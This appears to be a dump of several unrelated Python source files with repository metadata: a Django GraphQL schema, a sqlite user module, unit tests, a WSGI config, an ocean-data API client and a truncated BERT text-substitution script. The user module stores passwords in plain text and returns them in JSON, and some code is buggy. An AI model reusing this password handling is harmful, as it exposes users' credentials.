48e2ee9bf74f32216e6bdd5b5583f8c382c79a1f | b4024f4190be23e4a0305f73790a483ac5bbb346 | /articles/schema.py | bb0da173009e565fabde127a4850eb99b0daa878 | [] | no_license | alexc957/newsRecommenderBackend | c3ffc5fb1113fe563e31f45060d8a5d670717787 | 33fbbe4fd0faee482407ddc41baeb91922ab67a7 | refs/heads/main | 2023-06-05T15:25:56.106685 | 2021-06-24T21:35:12 | 2021-06-24T21:35:12 | 315,438,187 | 0 | 0 | null | 2021-06-24T21:35:12 | 2020-11-23T20:53:39 | Python | UTF-8 | Python | false | false | 3,234 | py | import math
import graphene
from graphene_django import DjangoObjectType
from .models import Article, SimilarArticle
from django.db.models import Q
from django.db.models import Count
class ArticleType(DjangoObjectType):
"""
docstring
"""
class Meta:
model = Article
class SimilarArticleType(DjangoObjectType):
class Meta:
model = SimilarArticle
class Query(graphene.ObjectType):
"""
docstring
"""
articles = graphene.List(
ArticleType,
search=graphene.String(),
first=graphene.Int(),
skip=graphene.Int())
article = graphene.Field(
ArticleType,
article_id=graphene.Int(required=True)
)
recent_articles = graphene.List(ArticleType)
most_voted = graphene.List(ArticleType)
total_pages = graphene.Int()
def resolve_total_pages(self, info, **kwargs):
all_articles =Article.objects.all()
total_pages = math.ceil(len(all_articles)/10)
return total_pages
def resolve_articles(self,info,search=None,first=None,skip=None,**kwargs):
qs = Article.objects.all() # qs: query selector
if search:
filter = (
Q(title__icontains=search) | Q(summary__icontains=search)
)
qs = qs.filter(filter)
if skip:
qs = qs[skip:]
if first:
qs = qs[:first]
return qs
def resolve_article(self, info, article_id=None, **kwargs):
article = Article.objects.get(id=article_id)
if not article:
raise Exception('Bad article Id')
return article
def resolve_recent_articles(self, info, **kwargs):
articles = Article.objects.all().order_by('-date_uploaded')
return articles[:10]
def resolve_most_voted(self,info, **kwargs):
votes = Article.objects.annotate(num_votes=Count('vote'));
return votes.order_by('-num_votes')[:10]
class AddArticle(graphene.Mutation):
id = graphene.Int()
title = graphene.String()
summary = graphene.String()
lang = graphene.String()
category = graphene.String()
date_uploaded = graphene.Date()
text_vector = graphene.String()
class Arguments:
title = graphene.String()
summary = graphene.String()
lang = graphene.String(required=False)
category = graphene.String(required=False)
text_vector = graphene.String(required=False)
def mutate(self, info, title, summary, lang=None, category=None, text_vector=None):
# if not text_vector:
#text_vector = ';'.join(nlp(summary).vector.astype(str))
article = Article(
title=title,
summary=summary,
lang=lang,
category=category,
text_vector=text_vector
)
article.save()
return AddArticle(
id=article.id,
title=article.title,
summary=article.summary,
lang=article.lang,
category=article.category,
date_uploaded=article.date_uploaded,
text_vector=article.text_vector
)
class Mutation(graphene.ObjectType):
add_article = AddArticle.Field() | [
"alexcoronel1995@gmail.com"
] | alexcoronel1995@gmail.com |
56369ddc8c1a98b044a2f85d4c3d2de04464af88 | 5020ce76812057bc56a6fcdbf95a316caea3a1c9 | /users/request.py | d0672b0d27dc78bbd8db3f62f780d9453d1bef4d | [] | no_license | NSS-Day-Cohort-42/rare-server-talking-heads | 820b488fb473101265c42b444ac2be329fdabe46 | 45817bc9215b30a09d8317dd43ccd2776a8f5169 | refs/heads/main | 2023-01-01T03:07:25.108146 | 2020-10-28T20:52:01 | 2020-10-28T20:52:01 | 306,053,924 | 1 | 0 | null | 2020-10-28T21:04:41 | 2020-10-21T14:36:46 | Python | UTF-8 | Python | false | false | 1,450 | py | import sqlite3
import json
from models import User
def create_user(new_user):
with sqlite3.connect("./rare.db") as conn:
db_cursor = conn.cursor()
db_cursor.execute("""
INSERT INTO User
( user_name, email, password, first_name, last_name, bio )
VALUES
( ?, ?, ?, ?, ?, ? );
""", ( new_user['user_name'], new_user['email'],
new_user['password'], new_user['first_name'],
new_user['last_name'], new_user['bio'], ))
# The `lastrowid` property on the cursor will return the
# primary key of the last thing added to the db
id = db_cursor.lastrowid
# Add the id property to the new user that was created
new_user['id'] = id
return json.dumps(new_user)
def get_user_by_email(email):
with sqlite3.connect("./rare.db") as conn:
conn.row_factory = sqlite3.Row
db_cursor = conn.cursor()
db_cursor.execute("""
select
u.id,
u.user_name,
u.email,
u.password,
u.first_name,
u.last_name,
u.bio
from User u
WHERE u.email = ?
""", ( email, ))
data = db_cursor.fetchone()
user = User(data['id'], "", data['email'],
data['password'], "", "", "")
# Return the JSON serialized user object
return json.dumps(user.__dict__) | [
"christopherjohnson1@gmail.com"
] | christopherjohnson1@gmail.com |
08de9528172825c36f456e7389df9749cff1e095 | 8dccae4838be38d2e025faf23197c13782489130 | /tests/test_is_consecutive.py | 860be248467eb7ec8d90aacd34142e31e2711677 | [
"MIT"
] | permissive | BME-MIT-IET/iet-hf2021-snek | 47c6465d797ebbe8b32077ec30936a29613baefd | 9780200ccfa1a102a78067345c0993382c835f3a | refs/heads/master | 2023-04-20T03:47:09.793996 | 2021-05-09T16:35:25 | 2021-05-09T16:35:25 | 360,850,724 | 0 | 1 | MIT | 2021-05-09T16:35:26 | 2021-04-23T10:44:04 | Python | UTF-8 | Python | false | false | 1,162 | py | import unittest
from algorithms.stack import first_is_consecutive, second_is_consecutive
class TestConsecutiveStack(unittest.TestCase):
one_element_is_always_consecutive = [24]
one_element_is_always_consecutive_2 = [24]
consecutive_stack = [1, 2, 3, 4, 5, 6]
consecutive_stack_2 = [1, 2, 3, 4, 5, 6]
non_consecutive_stack = [1, 2, 3, 4, 6]
non_consecutive_stack_2 = [1, 2, 3, 4, 6]
# the algorithm used modifies the input array for some reason
def test_algo1_one_element(self):
self.assertTrue(first_is_consecutive(self.one_element_is_always_consecutive))
def test_algo2_one_element(self):
self.assertTrue(second_is_consecutive(self.one_element_is_always_consecutive_2))
def test_algo1_valid(self):
self.assertTrue(first_is_consecutive(self.consecutive_stack))
def test_algo2_valid(self):
self.assertTrue(second_is_consecutive(self.consecutive_stack_2))
def test_algo1_invalid(self):
self.assertFalse(first_is_consecutive(self.non_consecutive_stack))
def test_algo2_invalid(self):
self.assertFalse(second_is_consecutive(self.non_consecutive_stack_2))
| [
"bence.kovacs.zoltan@gmail.com"
] | bence.kovacs.zoltan@gmail.com |
5ee54f5967f3f9202dbda9335e8bb897d19153f5 | e28bcd09d37f675c545a9648c3aa0be402065a5d | /grozozahyst/wsgi.py | 3c4436007e1a4dcb56b9cad18e6936d7822ba82e | [] | no_license | sashoki/grozozahyst | cc44ada58bcc73a20a9341800b3091290ef0c19f | c3533540bacdf6de7055c1680403bb06911f1dbc | refs/heads/master | 2021-08-26T07:29:39.975186 | 2017-11-22T09:09:35 | 2017-11-22T09:09:35 | 101,628,551 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 584 | py | """
WSGI config for radioservice project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.9/howto/deployment/wsgi/
"""
import site
site.addsitedir('/var/www/grozozahyst.com/lib/python2.7/site-packages')
import os, sys
from django.core.wsgi import get_wsgi_application
from django.conf import settings
sys.path.append('/var/www/grozozahyst.com/bin/grozozahyst')
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "grozozahyst.settings")
application = get_wsgi_application() | [
"sania_piter@mail.ru"
] | sania_piter@mail.ru |
fc963b7850cd888de5842085fc3a693b7e067296 | ae5e651fd65749534d954b208a7f1425331352dc | /code/utils.py | 096a599c322da76c1cc0b79067d6339a9445d8d9 | [] | no_license | reedan88/Isaias | d9d764c01754bcb0d13d59bbe8089e4417fb4c14 | aac64057df5fffab6fdbfe490bac939c5ef37775 | refs/heads/master | 2022-11-24T22:56:05.128373 | 2020-08-02T22:39:25 | 2020-08-02T22:39:25 | 284,553,671 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 23,803 | py | import re
import os
import time
import requests
import datetime
import numpy as np
import pandas as pd
import xarray as xr
from xml.dom import minidom
from urllib.request import urlopen
from urllib.request import urlretrieve
import matplotlib.pyplot as plt
class OOINet():
def __init__(self, USERNAME, TOKEN):
self.username = USERNAME
self.token = TOKEN
self.urls = {
'data': 'https://ooinet.oceanobservatories.org/api/m2m/12576/sensor/inv',
'anno': 'https://ooinet.oceanobservatories.org/api/m2m/12580/anno/find',
'vocab': 'https://ooinet.oceanobservatories.org/api/m2m/12586/vocab/inv',
'asset': 'https://ooinet.oceanobservatories.org/api/m2m/12587',
'deploy': 'https://ooinet.oceanobservatories.org/api/m2m/12587/events/deployment/inv',
'preload': 'https://ooinet.oceanobservatories.org/api/m2m/12575/parameter',
'cal': 'https://ooinet.oceanobservatories.org/api/m2m/12587/asset/cal'
}
def _get_api(self, url):
"""Request the given url from OOINet."""
r = requests.get(url, auth=(self.username, self.token))
data = r.json()
return data
def _ntp_seconds_to_datetime(self, ntp_seconds):
"""Convert OOINet timestamps to unix-convertable timestamps."""
# Specify some constant needed for timestamp conversions
ntp_epoch = datetime.datetime(1900, 1, 1)
unix_epoch = datetime.datetime(1970, 1, 1)
ntp_delta = (unix_epoch - ntp_epoch).total_seconds()
return datetime.datetime.utcfromtimestamp(ntp_seconds - ntp_delta)
def _convert_time(self, ms):
if ms is None:
return None
else:
return datetime.datetime.utcfromtimestamp(ms/1000)
def get_metadata(self, refdes):
"""
Get the OOI Metadata for a specific instrument specified by its
associated reference designator.
Args:
refdes (str): OOINet standardized reference designator in the
form of <array>-<node>-<instrument>.
Returns:
results (pandas.DataFrame): A dataframe with the relevant
metadata of the given reference designator.
"""
# First, construct the metadata request url
array, node, instrument = refdes.split("-", 2)
metadata_request_url = "/".join((self.urls["data"], array, node,
instrument, "metadata"))
# Request the metadata
metadata = self._get_api(metadata_request_url)
# Parse the metadata
metadata = self.parse_metadata(metadata)
# Add in the reference designator
metadata["refdes"] = refdes
# Return the metadata
return metadata
def parse_metadata(self, metadata):
"""
Parse the metadata dictionary for an instrument returned by OOI into
a pandas dataframe.
"""
# Put the two keys into separate dataframes
metadata_times = pd.DataFrame(metadata["times"])
metadata_parameters = pd.DataFrame(metadata["parameters"])
# Merge the two into a single dataframe
results = metadata_parameters.merge(metadata_times, left_on="stream",
right_on="stream")
results.drop_duplicates(inplace=True)
# Return the results
return results
def get_deployments(self, refdes, deploy_num="-1", results=pd.DataFrame()):
"""
Get the deployment information for an instrument. Defaults to all
deployments for a given instrument (reference designator) unless one is
supplied.
Args:
refdes (str): The reference designator for the instrument for which
to request deployment information.
deploy_num (str): Optional to include a specific deployment number.
Otherwise defaults to -1 which is all deployments.
results (pandas.DataFrame): Optional. Useful for recursive
applications for gathering deployment information for multiple
instruments.
Returns:
results (pandas.DataFrame): A table of the deployment information
for the given instrument (reference designator) with deployment
number, deployed water depth, latitude, longitude, start of
deployment, end of deployment, and cruise IDs for the
deployment and recovery.
"""
# First, build the request
array, node, instrument = refdes.split("-", 2)
deploy_url = "/".join((self.urls["deploy"], array, node, instrument,
deploy_num))
# Next, get the deployments from the deploy url. The API returns a list
# of dictionary objects with the deployment data.
deployments = self._get_api(deploy_url)
# Now, iterate over the deployment list and get the associated data for
# each individual deployment
while len(deployments) > 0:
# Get a single deployment
deployment = deployments.pop()
# Process the dictionary data
# Deployment Number
deploymentNumber = deployment.get("deploymentNumber")
# Location info
location = deployment.get("location")
depth = location["depth"]
lat = location["latitude"]
lon = location["longitude"]
# Start and end times of the deployments
startTime = self._convert_time(deployment.get("eventStartTime"))
stopTime = self._convert_time(deployment.get("eventStopTime"))
# Cruise IDs of the deployment and recover cruises
deployCruiseInfo = deployment.get("deployCruiseInfo")
recoverCruiseInfo = deployment.get("recoverCruiseInfo")
if deployCruiseInfo is not None:
deployID = deployCruiseInfo["uniqueCruiseIdentifier"]
else:
deployID = None
if recoverCruiseInfo is not None:
recoverID = recoverCruiseInfo["uniqueCruiseIdentifier"]
else:
recoverID = None
# Put the data into a pandas dataframe
data = np.array([[deploymentNumber, lat, lon, depth, startTime,
stopTime, deployID, recoverID]])
columns = ["deploymentNumber", "latitude", "longitude", "depth",
"deployStart", "deployEnd", "deployCruise",
"recoverCruise"]
df = pd.DataFrame(data=data, columns=columns)
#
results = results.append(df)
return results
def get_vocab(self, refdes):
"""
Return the OOI vocabulary for a given url endpoint. The vocab results
contains info about the reference designator, names of the
Args:
refdes (str): The reference designator for the instrument for which
to request vocab information.
Returns:
results (pandas.DataFrame): A table of the vocab information for
the given reference designator.
"""
# First, construct the vocab request url
array, node, instrument = refdes.split("-", 2)
vocab_url = "/".join((self.urls["vocab"], array, node, instrument))
# Next, get the vocab data
data = self._get_api(vocab_url)
# Put the returned vocab data into a pandas dataframe
vocab = pd.DataFrame()
vocab = vocab.append(data)
# Finally, return the results
return vocab
def get_datasets(self, search_url, datasets=pd.DataFrame(), **kwargs):
"""Search OOINet for available datasets for a url."""
# Check if the method is attached to the url
flag = ("inv" == search_url.split("/")[-4])
# inst = re.search("[0-9]{2}-[023A-Z]{6}[0-9]{3}", search_url)
# inst = re.search("[0-9]{2}-", search_url)
# This means you are at the end-point
if flag is True:
# Get the reference designator info
array, node, instrument = search_url.split("/")[-3:]
refdes = "-".join((array, node, instrument))
# Get the available deployments
deploy_url = "/".join((self.urls["deploy"], array, node,
instrument))
deployments = self._get_api(deploy_url)
# Put the data into a dictionary
info = pd.DataFrame(data=np.array([[array, node, instrument,
refdes, search_url, deployments]]),
columns=["array", "node", "instrument",
"refdes", "url", "deployments"])
# add the dictionary to the dataframe
datasets = datasets.append(info, ignore_index=True)
else:
endpoints = self._get_api(search_url)
while len(endpoints) > 0:
# Get one endpoint
new_endpoint = endpoints.pop()
# Build the new request url
new_search_url = "/".join((search_url, new_endpoint))
# Get the datasets for the new given endpoint
datasets = self.get_datasets(new_search_url, datasets)
# Once recursion is done, return the datasets
return datasets
def search_datasets(self, array=None, node=None, instrument=None,
English_names=False):
"""
Wrapper around get_datasets to make the construction of the
url simpler. Eventual goal is to use this as a search tool.
Args:
array (str): OOI abbreviation for a particular buoy on an array
(e.g. Pioneer Central Surface Mooring = CP01CNSM)
node (str): Partial or full OOI abbreviation for a node on a
buoy to search for (e.g. Multi-Function Node = MFD)
instrument (str): Partial or full OOI abbreviation for a
particular instrument type to search for (e.g. CTD)
English_names (bool): Set to True if the descriptive names
associated with the given array/node/instrument are wanted.
Returns:
datasets (pandas.DataFrame): A dataframe of all the OOI
datasets which match the given search terms. If no search
terms are entered, will return every dataset available in
OOINet (slow).
"""
# Build the request url
dataset_url = f'{self.urls["data"]}/{array}/{node}/{instrument}'
# Truncate the url at the first "none"
dataset_url = dataset_url[:dataset_url.find("None")-1]
print(dataset_url)
# Get the datasets
datasets = self.get_datasets(dataset_url)
# Now, it node is not None, can filter on that
if node is not None:
mask = datasets["node"].apply(lambda x: True if node
in x else False)
datasets = datasets[mask]
# If instrument is not None
if instrument is not None:
mask = datasets["instrument"].apply(lambda x: True if instrument
in x else False)
datasets = datasets[mask]
# Check if they want the English names for the associated datasets
if English_names:
vocab = {
"refdes": [],
"array_name": [],
"node_name": [],
"instrument_name": []
}
# Iterate through the given reference designators
for refdes in datasets["refdes"]:
# Request the vocab for the given reference designator
refdes_vocab = OOINet.get_vocab(refdes)
# Check if it returns an empty dataframe - then fill with NaNs
if len(refdes_vocab) == 0:
vocab["refdes"].append(refdes)
vocab["array_name"].append(None)
vocab["node_name"].append(None)
vocab["instrument_name"].append(
refdes_vocab["instrument"].iloc[0])
# Parse the refdes-specific vocab
vocab["refdes"].append(refdes)
vocab["array_name"].append(refdes_vocab["tocL1"].iloc[0] + " "
+ refdes_vocab["tocL2"].iloc[0])
vocab["node_name"].append(refdes_vocab["tocL3"].iloc[0])
vocab["instrument_name"].append(
refdes_vocab["instrument"].iloc[0])
# Merge the results with the datasets
vocab = pd.DataFrame(vocab)
datasets = datasets.merge(vocab, left_on="refdes",
right_on="refdes")
# Sort the datasets
columns = ["array", "array_name", "node", "node_name", "instrument",
"instrument_name", "refdes", "url", "deployments"]
datasets = datasets[columns]
return datasets
def get_datastreams(self, refdes):
"""Retrieve methods and data streams for a reference designator."""
# Build the url
array, node, instrument = refdes.split("-", 2)
method_url = "/".join((self.urls["data"], array, node, instrument))
# Build a table linking the reference designators, methods, and data
# streams
stream_df = pd.DataFrame(columns=["refdes", "method", "stream"])
methods = self._get_api(method_url)
for method in methods:
if "bad" in method:
continue
stream_url = "/".join((method_url, method))
streams = self._get_api(stream_url)
stream_df = stream_df.append({
"refdes": refdes,
"method": method,
"stream": streams
}, ignore_index=True)
# Expand so that each row of the dataframe is unique
stream_df = stream_df.explode('stream').reset_index(drop=True)
# Return the results
return stream_df
def get_parameter_data_levels(self, metadata):
"""
Get the data levels associated with the parameters for a given
reference designator.
Args:
metadata (pandas.DataFrame): a dataframe which contains the
metadata for a given reference designator.
Returns:
pid_dict (dict): a dictionary with the data levels for each
parameter id (Pid)
"""
pdIds = np.unique(metadata["pdId"])
pid_dict = {}
for pid in pdIds:
# Build the preload url
preload_url = "/".join((self.urls["preload"], pid.strip("PD")))
# Query the preload data
preload_data = self._get_api(preload_url)
data_level = preload_data.get("data_level")
# Update the results dictionary
pid_dict.update({pid: data_level})
return pid_dict
def filter_parameter_ids(self, pdId, pid_dict):
"""Filter for processed data products."""
# Check if pdId should be kept
data_level = pid_dict.get(pdId)
if data_level == 1:
return True
else:
return False
def get_thredds_url(self, refdes, method, stream, **kwargs):
"""
Return the url for the THREDDS server for the desired dataset(s).
Args:
refdes (str): reference designator for the instrument
method (str): the method (i.e. telemetered) for the given
reference designator
stream (str): the stream associated with the reference
designator and method
Kwargs: optional parameters to pass to OOINet API to limit the
results of the query
beginDT (str): limit the data request to only data after this
date.
endDT (str): limit the data request to only data before this
date.
format (str): e.g. "application/netcdf" (the default)
include_provenance (str): 'true' returns a text file with the
provenance information
include_annotations (str): 'true' returns a separate text file
with annotations for the date range
Returns:
thredds_url (str): a url to the OOI Thredds server which
contains the desired datasets
"""
# Build the data request url
array, node, instrument = refdes.split("-", 2)
data_request_url = "/".join((self.urls["data"], array, node,
instrument, method, stream))
# Ensure proper datetime format for the request
if 'beginDT' in kwargs.keys():
kwargs['beginDT'] = pd.to_datetime(kwargs['beginDT']).strftime(
'%Y-%m-%dT%H:%M:%S.%fZ')
if 'endDT' in kwargs.keys():
kwargs['endDT'] = pd.to_datetime(kwargs['endDT']).strftime(
'%Y-%m-%dT%H:%M:%S.%fZ')
# Build the query
params = kwargs
# Request the data
r = requests.get(data_request_url, params=params, auth=(self.username,
self.token))
if r.status_code == 200:
data_urls = r.json()
else:
print(r.reason)
return None
# The asynchronous data request is contained in the 'allURLs' key,
# in which we want to find the url to the thredds server
for d in data_urls['allURLs']:
if 'thredds' in d:
thredds_url = d
return thredds_url
def _get_elements(self, url, tag_name, attribute_name):
"""Get elements from an XML file."""
usock = urlopen(url)
xmldoc = minidom.parse(usock)
usock.close()
tags = xmldoc.getElementsByTagName(tag_name)
attributes = []
for tag in tags:
attribute = tag.getAttribute(attribute_name)
attributes.append(attribute)
return attributes
def get_thredds_catalog(self, thredds_url):
"""
Get the dataset catalog for the requested data stream.
Args:
thredds_url (str): the THREDDS server url for the
requested data stream
Returns:
catalog (list): the THREDDS catalog of datasets for
the requested data stream
"""
# ==========================================================
# Parse out the dataset_id from the thredds url
server_url = 'https://opendap.oceanobservatories.org/thredds/'
dataset_id = re.findall(r'(ooi/.*)/catalog', thredds_url)[0]
# Check the status of the request until the datasets are ready
# Will timeout if request takes longer than 10 mins
status_url = thredds_url + '?dataset=' + dataset_id + '/status.txt'
status = requests.get(status_url)
start_time = time.time()
while status.status_code != requests.codes.ok:
elapsed_time = time.time() - start_time
status = requests.get(status_url)
if elapsed_time > 10*60:
print(f'Request time out for {thredds_url}')
return None
time.sleep(5)
# Parse the datasets from the catalog for the requests url
catalog_url = server_url + dataset_id + '/catalog.xml'
catalog = self._get_elements(catalog_url, 'dataset', 'urlPath')
return catalog
def parse_catalog(self, catalog, exclude=[]):
"""
Parses the THREDDS catalog for the netCDF files. The exclude
argument takes in a list of strings to check a given catalog
item against and, if in the item, not return it.
Args:
catalog (list): the THREDDS catalog of datasets for
the requested data stream
exclude (list): keywords to filter files out of the THEDDS catalog
Returns:
datasets (list): a list of netCDF datasets which contain the
associated .nc datasets
"""
datasets = [citem for citem in catalog if citem.endswith('.nc')]
if type(exclude) is not list:
raise ValueError('arg exclude must be a list')
for ex in exclude:
if type(ex) is not str:
raise ValueError(f'Element {ex} of exclude must be a string.')
datasets = [dset for dset in datasets if ex not in dset]
return datasets
def download_netCDF_files(self, datasets, save_dir=None):
"""
Download netCDF files for given netCDF datasets. If no path
is specified for the save directory, will download the files to
the current working directory.
Args:
datasets (list): the netCDF datasets to download
save_dir (str): the path to the directory in which to save
the downloaded netCDF files
"""
# Specify the server url
server_url = 'https://opendap.oceanobservatories.org/thredds/'
# Specify and make the relevant save directory
if save_dir is not None:
# Make the save directory if it doesn't exists
if not os.path.exists(save_dir):
os.makedirs(save_dir)
else:
save_dir = os.getcwd()
# Download and save the netCDF files from the HTTPServer
# to the save directory
count = 0
for dset in datasets:
# Check that the datasets are netCDF
if not dset.endswith('.nc'):
raise ValueError(f'Dataset {dset} not netCDF.')
count += 1
file_url = server_url + 'fileServer/' + dset
filename = file_url.split('/')[-1]
print(f'Downloading file {count} of {len(datasets)}: {dset} \n')
a = urlretrieve(file_url, '/'.join((save_dir, filename)))
def load_netCDF_files(self, netCDF_datasets):
"""Open the netCDF files directly from the THREDDS opendap server."""
# Get the OpenDAP server
opendap_url = "https://opendap.oceanobservatories.org/thredds/dodsC"
# Add the OpenDAP url to the netCDF dataset names
netCDF_datasets = ["/".join((opendap_url, dset)) for dset in
netCDF_datasets]
# Note: latest version of xarray and netcdf-c libraries enforce strict
# fillvalue match, which causes an error with the implement OpenDAP
# data mapping. Requires appending #fillmismatch to open the data
netCDF_datasets = [dset+"#fillmismatch" for dset in netCDF_datasets]
# Open the datasets into an xarray dataset, make time the main
# dimension, and sort
with xr.open_mfdataset(netCDF_datasets) as ds:
ds = ds.swap_dims({"obs": "time"})
ds = ds.sortby("time")
# Add in the English name of the dataset
refdes = "-".join(ds.attrs["id"].split("-")[:4])
vocab = self.get_vocab(refdes)
ds.attrs["Location_name"] = " ".join((vocab["tocL1"].iloc[0],
vocab["tocL2"].iloc[0],
vocab["tocL3"].iloc[0]))
# Return the dataset
return ds
| [
"andrew.c.reed88@gmail.com"
] | andrew.c.reed88@gmail.com |
4905eb23d9b63be38aa3c7d1f8e8c1fd737cec27 | 28acabcd17f791eff443270e8828533b1feaf1a5 | /Scripts/text_generation/bert_generator.py | 673303e7b2dfbf110468028d435134861aac51c5 | [] | no_license | GiorgioBelli/FakeDocumentGenerator | 3e5c47db9d4f06515cbadba944e02878b96c22a8 | 2deda3e723aa44548c872d1bbc014f1f18fac126 | refs/heads/master | 2022-12-30T05:38:57.915006 | 2020-10-16T08:59:15 | 2020-10-16T08:59:15 | 269,558,052 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 150,978 | py | # -*- coding: utf-8 -*-
"""BERT-fine-tuning.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/1x34tn3w-DyQwAbtlFKggkIr-p2GwwJ1x
"""
import torch
from transformers import AutoTokenizer, AutoModel,BertForMaskedLM
# import torch
from fitbert import FitBert
scibert_tokenizer = AutoTokenizer.from_pretrained("allenai/scibert_scivocab_uncased")
scibert_model = BertForMaskedLM.from_pretrained("allenai/scibert_scivocab_uncased")
sci_fb = FitBert(model=scibert_model,tokenizer=scibert_tokenizer)
"""Masked text generation"""
sentence_splitting_regex = r'(\. [A-Z\(])'
def gen_text(text,replacements,model):
import re
# sentences = text.split(". ")
sentences = re.split(sentence_splitting_regex, text)
if(len(sentences)>1):
for idx in range(2,len(sentences),2):
first_char = sentences[idx-1][-1]
sentences[idx] = first_char+sentences[idx]
sentences = sentences[::2]
sentences_count = len(sentences)
rep_count = len(replacements)
for i,rep in enumerate(replacements):
rep_count = text.lower().count(rep[0])
for _ in range(rep_count):
text = ". ".join(sentences)
whole_text_idx = text.lower().find(rep[0])
if idx<0 : break
sent_idx = len(re.findall(sentence_splitting_regex, text[:whole_text_idx]))
prev_sent = sent_idx-1 if sent_idx > 0 else None
next_sent = sent_idx+2 if sent_idx < sentences_count-1 else None
contexted_text = ". ".join(sentences[prev_sent:next_sent])
rep_in_context_idx = contexted_text.lower().find(rep[0])
# contexted_text = contexted_text.replace(rep[0],"***mask***",1)
contexted_text = contexted_text[:rep_in_context_idx]+" ***mask***"+contexted_text[rep_in_context_idx+len(rep[0]):]
print("Replacing [{}] [{},{}]\n{}\n".format(rep[0],i+1,rep_count,contexted_text))
# torch.cuda.empty_cache()
new_sentence = model.fitb(contexted_text, options=rep[1])
# new_sentence = contexted_text
res = re.split(sentence_splitting_regex, new_sentence)
if prev_sent is None: sentences[sent_idx] = res[0]
elif next_sent is None: sentences[sent_idx] = res[-2][-1]+res[-1]
else: sentences[sent_idx] = res[1][-1]+res[2]
print("\ntarget-sentence:",sentences[sent_idx])
print("\ncontexted-text",". ".join(sentences[prev_sent:next_sent]))
print("\nfull-text:",". ".join(sentences))
print("\n\n")
return sentences
def gen_text_unmasked(text,replacements,model):
import re
# sentences = text.split(". ")
sentences = re.split('(\. [a-zA-Z])', text)
if(len(sentences)>1):
for idx in range(2,len(sentences),2):
first_char = sentences[idx-1][-1]
sentences[idx] = first_char+sentences[idx]
sentences = sentences[::2]
sentences_count = len(sentences)
for i,rep in enumerate(replacements):
idx = text.find(rep[0])
rep_end= rep[0].find(" ")
if idx<0 : continue
sent_idx = len(re.findall(r"(\. [a-zA-Z])", text[:idx]))
prev_sent = sent_idx-1 if sent_idx > 0 else None
next_sent = sent_idx+2 if sent_idx < sentences_count-1 else None
contexted_text = ". ".join(sentences[prev_sent:next_sent])
cont_rep_id = contexted_text.find(rep[0])
span = (cont_rep_id,cont_rep_id+rep_end)
# contexted_text = contexted_text.replace(rep[0],"***mask***",1)
# print("Replacing [{}] [{},{}]\n{}\n".format(rep[0],i+1,rep_count,contexted_text))
new_sentence = model.mask_fitb(contexted_text, span)
res = re.split('(\. [a-zA-Z])', new_sentence)
sentences[sent_idx] = res[1][-1]+res[2]
print(". ".join(sentences[prev_sent:next_sent]))
print("full-text:",". ".join(sentences))
print("\n\n")
# for sent_idx in range(1,sentences_count):
# prev_sent = sent_idx-1 if sent_idx > 1 else None
# next_sent = sent_idx+2 if sent_idx < sentences_count-1 else None
# contexted_text = ". ".join(sentences[prev_sent:next_sent])
# new_sentence = model.mask_fitb(contexted_text, span)
# res = re.split('(\. [a-zA-Z])', new_sentence)
# sentences[sent_idx] = res[1][-1]+res[2]
# # print(". ".join(sentences[prev_sent:next_sent]))
# full_text = ". ".join(sentences)
return sentences
def genSubstitutions(text,replacements,model):
import re
# sentences = text.split(". ")
sentences = re.split(sentence_splitting_regex, text)
if(len(sentences)>1):
for idx in range(2,len(sentences),2):
first_char = sentences[idx-1][-1]
sentences[idx] = first_char+sentences[idx]
sentences = sentences[::2]
sentences_count = len(sentences)
rep_count = len(replacements)
for i,rep in enumerate(replacements):
rep_count = text.lower().count(rep[0])
for _ in range(rep_count):
text = ". ".join(sentences)
whole_text_idx = text.lower().find(rep[0])
if whole_text_idx<0 :
print(rep[0],"not found")
break
sent_idx = len(re.findall(sentence_splitting_regex, text[:whole_text_idx]))
prev_sent = sent_idx-1 if sent_idx > 0 else None
next_sent = sent_idx+2 if sent_idx < sentences_count-1 else None
contexted_text = ". ".join(sentences[prev_sent:next_sent])
rep_in_context_idx = contexted_text.lower().find(rep[0])
# contexted_text = contexted_text.replace(rep[0],"***mask***",1)
contexted_text = contexted_text[:rep_in_context_idx]+" ***mask***"+contexted_text[rep_in_context_idx+len(rep[0]):]
print("Replacing [{}] [{},{}]\n{}\n".format(rep[0],i+1,rep_count,contexted_text))
# torch.cuda.empty_cache()
best_choices = model.rank(contexted_text, options=rep[1][:25])
print((rep[0],best_choices))
def main():
replacements = [
('OSes', 53, ['major operating systems', 'machine operating sound', 'controlling energy storage systems', 'science user facility operated', 'machine operating sounds', 'controlled dynamical system', 'computer vision model operating', 'unknown time evolving system', 'biological natural systems', 'real robotic systems', 'crossed wires represent multiple systems', 'good concept representation learning system', 'standard recommender system metrics', 'human auditory system', 'general type-2 fuzzy systems', 'quantum linear system algorithm', 'efficient machine learning systems design', 'machine learning systems considers', 'actual intelligent maritime monitoring systems', 'submitted online learning systems', 'computational model system', 'trustworthy machine learning systems', 'traditional system', 'model complex systems consisting', 'visual system', 'automatic shape control system', 'expect broadly applicable intelligent systems', 'automated feedback system based', 'chaotic systems', 'economical power system operations', 'heterogeneous multi-agent systems', 'conscious systems', 'popular recommendation systems datasets', 'learn non-linear system evolutions', 'continuous dynamical systems', 'stochastic system', 'simple model systems showed', 'trained system', 'incremental classification systems', 'machine learning systems design', 'conventional federated systems', 'complex system', 'early expert systems', 'existing motion planning systems', 'engineering trustworthy systems', 'multiple classifier systems', 'flexible underlying learning system', 'artificial intelligence systems', 'construct mechanistic systems', 'actual physical systems']),
('OSs', 53, ['major operating systems', 'machine operating sound', 'controlling energy storage systems', 'science user facility operated', 'machine operating sounds', 'controlled dynamical system', 'computer vision model operating', 'unknown time evolving system', 'biological natural systems', 'real robotic systems', 'crossed wires represent multiple systems', 'good concept representation learning system', 'standard recommender system metrics', 'human auditory system', 'general type-2 fuzzy systems', 'quantum linear system algorithm', 'efficient machine learning systems design', 'machine learning systems considers', 'actual intelligent maritime monitoring systems', 'submitted online learning systems', 'computational model system', 'trustworthy machine learning systems', 'traditional system', 'model complex systems consisting', 'visual system', 'automatic shape control system', 'expect broadly applicable intelligent systems', 'automated feedback system based', 'chaotic systems', 'economical power system operations', 'heterogeneous multi-agent systems', 'conscious systems', 'popular recommendation systems datasets', 'learn non-linear system evolutions', 'continuous dynamical systems', 